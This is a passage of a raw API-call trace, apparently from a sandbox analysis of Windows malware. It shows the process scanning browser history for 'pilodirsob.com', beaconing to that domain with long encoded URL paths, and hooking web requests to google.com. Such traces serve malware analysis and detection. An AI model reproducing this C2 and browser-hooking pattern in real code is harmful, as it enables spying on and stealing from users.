StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx", lpSrch="pilodirsob.com") returned 0x0 [0701.591] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.591] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@http://www.google.com", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/4KATP.png", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AHyV.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.592] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots", lpSrch="pilodirsob.com") returned 0x0 [0701.592] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.593] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.593] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 0 [0701.593] FindCloseUrlCache (hEnumHandle=0x1) returned 1 [0701.593] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x26d00d8 | out: hHeap=0x2350000) returned 1 [0701.593] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x928 [0701.593] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x684 [0701.593] lstrlenA (lpString="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif") returned 240 [0701.593] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xf2) returned 0x274fe50 [0701.593] lstrcpyA (in: lpString1=0x274fe50, lpString2="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif" | out: lpString1="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif") returned="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif" [0701.593] StrChrA (lpStart="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif", wMatch=0x2f) returned="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif" [0701.593] StrChrA (lpStart="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif", wMatch=0x3f) returned 0x0 [0701.593] lstrlenA (lpString="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif") returned 226 [0701.593] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1c5) returned 0x274de60 [0701.593] InternetCanonicalizeUrlA (in: lpszUrl="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif", lpszBuffer=0x274de60, lpdwBufferLength=0x30efcc4, dwFlags=0x0 | out: lpszBuffer="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif", lpdwBufferLength=0x30efcc4) returned 1 [0701.593] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0008 [0701.594] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x407038) returned 0x0 [0701.594] ResetEvent (hEvent=0x928) returned 1 [0701.594] InternetConnectA (hInternet=0xcc0008, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x30efd14) returned 0xcc000c [0701.594] SetEvent (hEvent=0x928) returned 1 [0701.594] HttpOpenRequestA (hConnect=0xcc000c, lpszVerb="GET", lpszObjectName="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x30efd14) returned 0xcc0010 [0701.595] InternetQueryOptionA (in: hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x30efcd4, lpdwBufferLength=0x30efcc4 | out: lpBuffer=0x30efcd4, lpdwBufferLength=0x30efcc4) returned 1 [0701.595] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x30efcd4, dwBufferLength=0x4) returned 1 [0701.595] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x30efce0, dwBufferLength=0x4) returned 1 [0701.595] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x30efce0, dwBufferLength=0x4) returned 1 [0701.595] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0701.595] ResetEvent (hEvent=0x928) returned 1 [0701.595] ResetEvent (hEvent=0x684) returned 1 [0701.595] HttpSendRequestA (hRequest=0xcc0010, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0701.596] GetLastError () returned 0x3e5 [0701.596] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe50 | out: hHeap=0x2350000) returned 1 [0701.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efccc*=0x928, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0722.632] SetEvent (hEvent=0x928) returned 1 [0722.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efce4*=0x684, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0722.632] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x407038 [0722.632] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0722.632] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x407038 [0722.632] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0722.632] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x407038 [0722.632] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0722.632] CloseHandle (hObject=0x928) returned 1 [0722.632] CloseHandle (hObject=0x684) returned 1 [0722.633] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x38) returned 0x274f310 [0722.633] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x274f310, nInBufferSize=0x38, lpOutBuffer=0x30efd10, nOutBufferSize=0xc, lpBytesRead=0x30efd1c, nTimeOut=0x1 | out: lpOutBuffer=0x30efd10, lpBytesRead=0x30efd1c) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd68 | out: hHeap=0x2350000) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274d658 | out: hHeap=0x2350000) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f2f0 | out: hHeap=0x2350000) returned 1 [0722.643] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f470 | out: hHeap=0x2350000) returned 1 [0722.643] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0722.643] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x0) returned 0x102 [0722.643] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 107 os_tid = 0x274 Thread: id = 108 os_tid = 0x500 Thread: id = 109 os_tid = 0x898 Thread: id = 110 os_tid = 0x89c [0091.140] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x3b5d03c*="*/*", dwFlags=0x400200, dwContext=0x1985f8) returned 0xcc000c [0091.145] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3b5cbe8, lpdwBufferLength=0x3b5cbe0 | out: lpBuffer=0x3b5cbe8, lpdwBufferLength=0x3b5cbe0) returned 1 [0091.145] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3b5cbe8, lpdwBufferLength=0x3b5cbe0 | out: lpBuffer=0x3b5cbe8, lpdwBufferLength=0x3b5cbe0) returned 1 [0091.145] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x29, lpBuffer=0x0, lpdwBufferLength=0x3b5cbe4 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5cbe4) returned 0 [0091.145] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xb3) returned 0x274f2f0 [0091.146] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x29, lpBuffer=0x274f2f0, lpdwBufferLength=0x3b5cbe4 | out: lpBuffer=0x274f2f0, lpdwBufferLength=0x3b5cbe4) returned 1 [0091.146] lstrlenA (lpString="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 178 [0091.146] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xb3) returned 0x274f3b0 [0091.146] lstrcpyA (in: lpString1=0x274f3b0, lpString2="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" | out: lpString1="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" [0091.146] SetEvent (hEvent=0xf4) returned 1 [0091.146] InternetSetOptionA (hInternet=0x0, dwOption=0x49, lpBuffer=0x3b5cbc4, dwBufferLength=0x4) returned 1 [0091.146] InternetSetOptionA (hInternet=0x0, dwOption=0x4a, lpBuffer=0x3b5cbc4, dwBufferLength=0x4) returned 1 [0091.146] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f2f0 | out: hHeap=0x2350000) returned 1 [0091.146] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x3b5cbe8 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5cbe8) returned 0 [0091.146] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x14) returned 0x274f2f0 [0091.146] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x274f2f0, lpdwBufferLength=0x3b5cbe8 | out: lpBuffer=0x274f2f0, lpdwBufferLength=0x3b5cbe8) returned 1 [0091.146] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x3b5cbc8, lpdwBufferLength=0x3b5cbc0 | out: lpBuffer=0x3b5cbc8, lpdwBufferLength=0x3b5cbc0) returned 1 [0091.146] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3b5cbc4, lpdwBufferLength=0x3b5cbc0 | out: lpBuffer=0x3b5cbc4, lpdwBufferLength=0x3b5cbc0) returned 1 [0091.146] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3b5cbc4, lpdwBufferLength=0x3b5cbc0 | out: lpBuffer=0x3b5cbc4, lpdwBufferLength=0x3b5cbc0) returned 1 [0091.146] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0091.146] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0091.146] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x3b5cb5c, lpdwBufferLength=0x3b5cb64, lpdwIndex=0x3b5cb68*=0x0 | out: lpBuffer=0x3b5cb5c*, lpdwBufferLength=0x3b5cb64*=0x3, lpdwIndex=0x3b5cb68*=0x0) returned 1 [0091.148] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIA") returned 0x76d0d250 [0091.148] StrStrIA (lpFirst="http://google.com/", lpSrch="https://") returned 0x0 [0091.149] lstrlenA (lpString="http://google.com/") returned 18 [0091.149] StrStrIA (lpFirst="http://google.com/", lpSrch="http://") returned="http://google.com/" [0091.149] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f310 [0091.149] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f470 [0091.149] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x274f310, lpdwBufferLength=0x3b5cb90 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3b5cb90) returned 1 [0091.149] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0091.149] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f470 | out: hHeap=0x2350000) returned 1 [0091.149] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f2f0 | out: hHeap=0x2350000) returned 1 [0091.215] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0183.791] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x198898, dwNumberOfBytesToRead=0x58, lpdwNumberOfBytesRead=0x3b5d43c | out: lpBuffer=0x198898*, lpdwNumberOfBytesRead=0x3b5d43c*=0x58) returned 1 [0183.794] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1988f0, dwNumberOfBytesToRead=0x271, lpdwNumberOfBytesRead=0x3b5d43c | out: lpBuffer=0x1988f0*, lpdwNumberOfBytesRead=0x3b5d43c*=0x271) returned 1 [0183.794] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x198b61, dwNumberOfBytesToRead=0x537, lpdwNumberOfBytesRead=0x3b5d43c | out: lpBuffer=0x198b61*, lpdwNumberOfBytesRead=0x3b5d43c*=0x537) returned 1 [0183.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x196958, dwNumberOfBytesToRead=0x6a4, lpdwNumberOfBytesRead=0x3b5d55c | out: lpBuffer=0x196958*, lpdwNumberOfBytesRead=0x3b5d55c*=0x6a4) returned 1 [0183.798] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x196ffc, dwNumberOfBytesToRead=0xddf, lpdwNumberOfBytesRead=0x3b5d55c | out: lpBuffer=0x196ffc*, lpdwNumberOfBytesRead=0x3b5d55c*=0xddf) returned 1 [0183.799] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x197ddb, dwNumberOfBytesToRead=0x37d, lpdwNumberOfBytesRead=0x3b5d55c | out: lpBuffer=0x197ddb*, lpdwNumberOfBytesRead=0x3b5d55c*=0x37d) returned 1 [0183.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5850fdc, dwNumberOfBytesToRead=0xad5, lpdwNumberOfBytesRead=0x3b5c7fc | out: lpBuffer=0x5850fdc*, lpdwNumberOfBytesRead=0x3b5c7fc*=0xad5) returned 1 [0183.878] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5851ab1, dwNumberOfBytesToRead=0xcb7, lpdwNumberOfBytesRead=0x3b5c7fc | out: lpBuffer=0x5851ab1*, lpdwNumberOfBytesRead=0x3b5c7fc*=0xcb7) returned 1 [0183.879] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0183.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5852768, dwNumberOfBytesToRead=0x7b0, lpdwNumberOfBytesRead=0x3b5c7fc | out: lpBuffer=0x5852768*, lpdwNumberOfBytesRead=0x3b5c7fc*=0x7b0) returned 1 [0183.879] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x198690, dwFlags=0x0, dwContext=0x0) returned 1 [0184.177] HttpOpenRequestW (hConnect=0xcc0024, lpszVerb="GET", lpszObjectName="/images/nav_logo229.png", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x3b5a6b4*="*/*", dwFlags=0xc00000, dwContext=0x58ad3a0) returned 0xcc0028 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x3b5a260 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5a260) returned 0 [0184.178] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2f) returned 0x274ede8 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x22, lpBuffer=0x274ede8, lpdwBufferLength=0x3b5a260 | out: lpBuffer=0x274ede8, lpdwBufferLength=0x3b5a260) returned 1 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x1, lpBuffer=0x3b5a240, lpdwBufferLength=0x3b5a238 | out: lpBuffer=0x3b5a240, lpdwBufferLength=0x3b5a238) returned 1 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x3b5a23c, lpdwBufferLength=0x3b5a238 | out: lpBuffer=0x3b5a23c, lpdwBufferLength=0x3b5a238) returned 1 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x3b5a23c, lpdwBufferLength=0x3b5a238 | out: lpBuffer=0x3b5a23c, lpdwBufferLength=0x3b5a238) returned 1 [0184.178] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.178] InternetSetStatusCallbackA (hInternet=0xcc0028, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.178] HttpQueryInfoA (in: hRequest=0xcc0028, dwInfoLevel=0x2d, lpBuffer=0x3b5a1d4, lpdwBufferLength=0x3b5a1dc, lpdwIndex=0x3b5a1e0*=0x0 | out: lpBuffer=0x3b5a1d4*, lpdwBufferLength=0x3b5a1dc*=0x3, lpdwIndex=0x3b5a1e0*=0x0) returned 1 [0184.178] StrStrIA (lpFirst="https://www.google.com/images/nav_logo229.png", lpSrch="https://") returned="https://www.google.com/images/nav_logo229.png" [0184.178] lstrlenA (lpString="https://www.google.com/images/nav_logo229.png") returned 45 [0184.178] StrStrIA (lpFirst="https://www.google.com/images/nav_logo229.png", lpSrch="http://") returned 0x0 [0184.178] StrStrIA (lpFirst="https://www.google.com/images/nav_logo229.png", lpSrch="https://") returned="https://www.google.com/images/nav_logo229.png" [0184.178] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f310 [0184.178] RtlAllocateHeap 